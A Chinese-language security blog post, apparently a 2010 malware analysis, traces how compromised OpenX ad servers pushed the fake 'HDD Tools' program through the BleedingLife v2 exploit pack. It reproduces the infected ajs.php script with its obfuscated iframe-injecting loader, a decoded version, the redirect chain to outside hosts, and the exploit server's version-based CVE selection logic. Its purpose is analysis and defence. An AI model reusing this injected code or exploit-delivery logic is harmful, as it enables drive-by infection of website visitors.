A. 這整個事件背後的藏鏡人到底是誰? 很多人感到相當好奇。
B. 它仍然透過OpenX的弱點以相當快的速度正在散播。
1. HDD Plus (或 HDD Tools) 透過被入侵的OpenX網路廣告交換平台進行散播。
2. 使用了BleedingLife v2的exploit pack，而防毒軟體對於之中的exploit的偵測率很低(2/42)。這個Exploit Pack支援以下所列的Exploits:
.
3. 而對於這個HDD Plus惡意程式本身，防毒軟體的偵測率約為50%。
4. 這個Exploit Pack打到使用者的成功率約在28%，也就是100個人瀏覽此網頁的話，就有28人會被打中，算是相當高的一個比例。
5. 我們相信在莫斯科的Slevin先生也參與了這個HDD Plus的散播行動，並且積極透過更新穎的手法來進行散播。
，提到"HDD Plus"的散播方式其實跟這次是差不多的，只不過這次它的名字改成了 "HDD Tools"。當受害者瀏覽受到入侵的OpenX時，這個受到感染的廣告頁面 /www/delivery/ajs.php 會跑起一段javascript來產生一個iframe然後重導到惡意的網站，然後進行drive-by download的程序，一旦成功這個HDD Tools將會悄悄的被安裝到受害者的電腦中，然後顯示一堆假的警告訊息，直到受害付費來購買這套軟體，大約80美元。
讓我們用 http://www.takeatime.com/ 這個網站來當例子。 在我們寫這篇報導時，這個網站正安裝了含有漏洞的OpenX，且已被入侵並開始供給惡意程式。 下面是我們拍的一段影片用來圖解說明整個流程，其中包含一開始使用者的瀏覽，到最後的惡意程式感染及執行的過程:
沒有密碼? 沒關係，我們可以透過以下連結來看到目前的狀態（假設它還存活著的話）：
http://expa42.co.cc/bl3/statistics/update.php為了知道它實際的感染情況，我們重新去設定了它的狀態，而在8個小時之後，我們得到了以下的結果：
document.getElementById("visitors").innerHTML = 5635;
document.getElementById("exploited").innerHTML = 1583;
document.getElementById("percentage").innerHTML = 28.09;
這表示expa42.co.cc(這只是眾多惡意網域中的其中之一)每小時約有700參訪者，而其中的200人就會被成功感染安裝此惡意程式，也就是將近有28%的入侵成功率，這是相當高的一個比例。
以下列出這個Bleeding Life v2 exploit pack所支援的Exploits：
1. Adobe Flash Player 10.x on Windows, Mac OS X, Linux, and Solaris, Android authplay.dll (
CVE-2010-2884)
2. Adobe Flash Player before 8.x 9.x 10.x on Windows and Mac OS X crafted SWF content (
CVE-2010-1297)
3. Adobe Reader and Acrobat 8.x 9.x arbitrary code execution (
CVE-2010-0188)
4. Oracle Java SE and Java for Business sound component (
CVE-2010-0842)
5. Oracle Java SE and Java for Business (
CVE-2010-3552)
6. Adobe Acrobat and Reader util.printf (
CVE-2008-2992)
(註：這個pack中，沒包含Microsoft的exploit)
下列是整個侵入過程，我們使用takeatime.com來當例子。
當受害者瀏覽takeatime.com網站時，會看到一個OpenX的廣告標籤如下：
<div class="banner">
<!--/* OpenX Javascript Tag v2.8.1 */-->
<script type='text/javascript'><!--//<![CDATA[
var m3_u = (location.protocol=='https:'?'https://openx.takeatime.com/www/delivery/ajs.php':'http://openx.takeatime.com/www/delivery/ajs.php');
var m3_r = Math.floor(Math.random()*99999999999);
if (!document.MAX_used) document.MAX_used = ',';
document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
document.write ("?zoneid=1");
document.write ('&cb=' + m3_r);
if (document.MAX_used != ',') document.write ("&exclude=" + document.MAX_used);
document.write (document.charset ? '&charset='+document.charset : (document.characterSet ? '&charset='+document.characterSet : ''));
document.write ("&loc=" + escape(window.location));
if (document.referrer) document.write ("&referer=" + escape(document.referrer));
if (document.context) document.write ("&context=" + escape(document.context));
if (document.mmm_fo) document.write ("&mmm_fo=1");
document.write ("'><\/scr"+"ipt>");
//]]>--></script><noscript><a href='http://openx.takeatime.com/www/delivery/ck.php?n=a06928b3&cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://openx.takeatime.com/www/delivery/avw.php?zoneid=1&cb=INSERT_RANDOM_NUMBER_HERE&n=a06928b3' border='0' alt='' /></a></noscript>
</div>
這是因為takeatime.com是使用OpenX，而這個標籤會在頁面上顯示一個OpenX的廣告，因此瀏覽器會載入/www/delivery/ajs.php。對一個含有弱點的OpenX來說，這個ajs.php就是一個最常見的感染途徑。在這個takeatime.com網站中的ajs.php內容如下：
if(typeof org=="undefined"){var org=new Object();}if(typeof org.openx=="undefined"){org.openx=new Object();}if(typeof org.openx.util=="undefined"){org.openx.util=new Object();}if(typeof org.openx.SWFObjectUtil=="undefined"){org.openx.SWFObjectUtil=new Object();}org.openx.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=org.openx.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new org.openx.PlayerVersion(_5.toString().split(".")));}this.installedVer=org.openx.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){org.openx.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};org.openx.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new org.openx.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};org.openx.SWFObjectUtil.getPlayerVersion=function(){var _23=new org.openx.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new org.openx.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new org.openx.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new org.openx.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new org.openx.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};org.openx.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};org.openx.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};org.openx.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};org.openx.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(org.openx.SWFObject.doPrepUnload){if(!org.openx.unloadSet){org.openx.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",org.openx.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",org.openx.SWFObjectUtil.prepUnload);org.openx.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=org.openx.util.getRequestParameter;var FlashObject=org.openx.SWFObject;var SWFObject=org.openx.SWFObject;document.mmm_fo=1;var OX_8ec3b89b = '';
OX_8ec3b89b += "<"+"script language=\"JavaScript\">var dc=document; var date_ob=new Date(); dc.cookie=\'h1=o; path=/;\';if(dc.cookie.indexOf(\'3=llo\') <"+"= 0 && dc.cookie.indexOf(\'1=o\') > 0){\n";
OX_8ec3b89b += "function clng(wrd){var cou=new Array(\'en-us\',\'en-ca\',\'en-au\',\'en-gb\',\'fr-ca\',\'fr\',\'de\',\'es\',\'it\');for(i=0;i<"+"cou.length;i++){if(wrd==cou[i])return true;}return false;}\n";
OX_8ec3b89b += "if(typeof navigator.language == \'undefined\'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\n";
OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";
OX_8ec3b89b += "date_ob.setTime(date_ob.getTime()+864*100000);dc.cookie=\'h3=llo; path=/; expires=\'+date_ob.toGMTString();}<"+"/script>\n";
OX_8ec3b89b += "<"+"div id=\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\' style=\'display: inline;\'><"+"img src=\'http://openx.takeatime.com/www/images/1x1.gif\' alt=\'\' title=\'\' border=\'0\' /><"+"/div>\n";
OX_8ec3b89b += "<"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OX_8ec3b89b += "var ox_swf = new FlashObject(\'http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf\', \'Advertisement\', \'728\', \'90\', \'8\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTARGET\', \'_blank\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTAG\', \'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html\');\n";
OX_8ec3b89b += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";
OX_8ec3b89b += "ox_swf.write(\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\');\n";
OX_8ec3b89b += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"<"+"div id=\'beacon_1e6e188d82\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); }\n";
OX_8ec3b89b += "// ]]> --><"+"/script><"+"script type=\"text/javascript\">var yoZ=[\'79\',\'89\',\'b0\',\'bb\',\'bf\',\'b2\',\'6e\',\'af\',\'7c\',\'bb\',\'c2\',\'7c\',\'b4\',\'bc\',\'bc\',\'b8\',\'6e\',\'7c\',\'90\',\'c0\',\'b2\',\'bb\',\'ad\',\'6e\',\'b1\',\'b5\',\'c5\',\'85\',\'b1\',\'bb\',\'7b\',\'6e\',\'8a\',\'b8\',\'be\',\'7c\',\'b1\',\'7f\',\'80\',\'79\',\'b0\',\'89\',\'ad\',\'c0\',\'be\',\'b1\',\'8a\',\'b0\',\'6c\',\'b4\',\'ad\',\'7d\',\'ae\',\'82\',\'b5\',\'89\',\'af\',\'be\',\'6e\',\'b1\',\'bf\',\'90\',\'88\',\'b9\',\'88\',\'6e\',\'b5\',\'b1\',\'89\',\'7e\',\'ad\',\'7c\',\'92\',\'be\',\'c2\',\'6e\',\'b5\',\'79\',\'c2\',\'c0\',\'be\',\'c0\',\'8a\',\'ad\',\'b5\',\'b0\',\'b9\',\'ad\',\'6e\',\'87\',\'7a\',\'8f\',\'ad\',\'88\',\'be\',\'7a\',\'b1\',\'8a\',\'89\',\'84\',\'90\',\'b8\',\'c2\',\'b8\',\'6c\',\'bf\',\'7c\',\'6e\',\'7d\',\'be\',\'bf\',\'6e\',\'bb\',\'bf\',\'7c\',\'be\',\'6c\',\'86\',\'6c\',\'b4\',\'6c\',\'c2\',\'7d\',\'6e\',\'8a\',\'be\',\'bc\',\'80\',\'ba\',\'bc\',\'af\',\'ba\',\'90\',\'8d\',\'6e\',\'6e\',\'83\',\'ad\',\'8b\',\'bf\',\'b2\',\'6e\',\'c5\',\'89\',\'af\',\'b4\',\'be\',\'89\',\'7b\',\'b9\',\'7f\',\'be\',\'6e\',\'b5\',\'af\',\'90\',\'ba\',\'ad\',\'ba\',\'7b\',\'b5\',\'6c\',\'7a\',\'b3\',\'88\',\'b1\',\'6c\',\'bc\',\'88\',\'b5\',\'6c\',\'ad\',\'89\',\'7b\',\'8a\',\'c0\',\'b4\',\'af\',\'af\',\'bc\',\'7b\',\'7b\',\'c3\',\'88\',\'ad\',\'ba\',\'bc\',\'6c\',\'b5\',\'b4\',\'be\',\'b1\',\'6e\',\'b3\',\'c0\',\'86\',\'89\'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<"+"M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<"+"GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<"+"bG0.length;NOW++){XzH[NOW]=String.fromCharCode(\'3\'+\'7\')+bG0[NOW][1];}function NhW(M3s){return M3s.join(\'\');}function T5_(OrK,yPk){var wC3=\'M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u\';var QiL=new Array();for(var lVh=0;lVh<"+"OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<"+"ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA(\'%37%36\'));<"+"/script>\n";
document.write(OX_8ec3b89b);
其中顯而易見的一行：
OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";
它建立了一個iframe指到一個已知的惡意網域finofalts.com網址如下： http://finofalts.com/ke7rwdtw.php?s=IBB@G，當我們在寫這篇報導時它已經不運作了。它整個script在解混碼後為：
<script language="JavaScript">var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') <= 0 && dc.cookie.indexOf('1=o') > 0){
function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i<cou.length;i++){if(wrd==cou[i])return true;}return false;}
if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}
if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("<script type=\"text/javascript\"><!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\" ';");dc.writeln("document.write('<ifr'+'ame'+host+src+sc+brdr+'></ifra'+'me>');");dc.writeln("//--><\/script>");} var run=1;
date_ob.setTime(date_ob.getTime()+ 864*100000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}</script>
<div id='ox_30e97ef3c2c6a8e24bb919f7fe3adba6' style='display: inline;'><img src='http://openx.takeatime.com/www/images/1x1.gif' alt='' title='' border='0' /></div>
<script type='text/javascript'><!--// <![CDATA[
var ox_swf = new FlashObject('http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf', 'Advertisement', '728', '90', '8');
ox_swf.addVariable('clickTARGET', '_blank');
ox_swf.addVariable('clickTAG', 'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html');
ox_swf.addParam('allowScriptAccess','always');
ox_swf.write('ox_30e97ef3c2c6a8e24bb919f7fe3adba6');
if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute('version'))) { document.write("<div id='beacon_1e6e188d82' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div>"); }
// ]]> --></script><script type="text/javascript">var yoZ=['79','89','b0','bb','bf','b2','6e','af','7c','bb','c2','7c','b4','bc','bc','b8','6e','7c','90','c0','b2','bb','ad','6e','b1','b5','c5','85','b1','bb','7b','6e','8a','b8','be','7c','b1','7f','80','79','b0','89','ad','c0','be','b1','8a','b0','6c','b4','ad','7d','ae','82','b5','89','af','be','6e','b1','bf','90','88','b9','88','6e','b5','b1','89','7e','ad','7c','92','be','c2','6e','b5','79','c2','c0','be','c0','8a','ad','b5','b0','b9','ad','6e','87','7a','8f','ad','88','be','7a','b1','8a','89','84','90','b8','c2','b8','6c','bf','7c','6e','7d','be','bf','6e','bb','bf','7c','be','6c','86','6c','b4','6c','c2','7d','6e','8a','be','bc','80','ba','bc','af','ba','90','8d','6e','6e','83','ad','8b','bf','b2','6e','c5','89','af','b4','be','89','7b','b9','7f','be','6e','b5','af','90','ba','ad','ba','7b','b5','6c','7a','b3','88','b1','6c','bc','88','b5','6c','ad','89','7b','8a','c0','b4','af','af','bc','7b','7b','c3','88','ad','ba','bc','6c','b5','b4','be','b1','6e','b3','c0','86','89'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<bG0.length;NOW++){XzH[NOW]=String.fromCharCode('3'+'7')+bG0[NOW][1];}function NhW(M3s){return M3s.join('');}function T5_(OrK,yPk){var wC3='M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u';var QiL=new Array();for(var lVh=0;lVh<OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA('%37%36'));</script>
其中"document.write(NhW(kkz));"這一部份在解混碼後會產生了另一個iframe，內容如下
<var style="display: none;"><var><iframe src="http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D" width="100" height="100" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe></var></var>
這會讓瀏覽器再來載入http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D，而它的內容如下：
HTTP/1.1 302 Moved Temporarily
Date: Wed, 15 Dec 2010 17:45:29 GMT
Server: Apache/2.2.16 (FreeBSD) mod_ssl/2.2.16 OpenSSL/0.9.8k DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Location: http://govtds09.co.cc/tds/in.cgi?default
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
這個iframe再被做重導至http://govtds09.co.cc/tds/in.cgi?default，內容如下：
<html><frameset rows="100%"><frame src="http://expa42.co.cc/bl3/"></frameset></html>
最後這邊的expa42.co.cc就是exploit server了（安裝著BleedingLife V2），它會根據使用者的環境來載入相對應的Exploit：
if(acrobat.installed){
if(acrobat.version >= 800 && acrobat.version < 821){
("http://expa42.co.cc/bl3/load.php?e=Adobe-80-2010-0188");
}else if(acrobat.version >= 900 && acrobat.version < 940){
if(acrobat.version < 931){
("http://expa42.co.cc/bl3/load.php?e=Adobe-90-2010-0188");
}else if(acrobat.version < 933){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-1297");
}else if(acrobat.version < 940){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-2884");
}
}else if(acrobat.version >= 700 && acrobat.version < 711){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2008-2992");
}
if(ojava.installed){
if(ojava.version < 6 || (ojava.version == 6 && ojava.build < 19)){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-0842");
}else if(ojava.version == 6 && ojava.build < 22){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-3552");
}
}
在寫這篇報導時，這個Exploit pack中的exploits，掃毒軟體對於它的偵測率是相當低的。例如http://expa42.co.cc/bl3/load.php?e=Java-2010-3552 (
CVE-2010-3552)這個exploit
1/43 on VirusTotal 及
0/19 on jotti, 而load.php?e=Adobe-2010-2884 (
CVE-2010-2884) 目前的偵測率為
5/43 在 VirusTotal上 及
2/19 在joiit上。
訂閱文章
訂閱意見
訂閱文章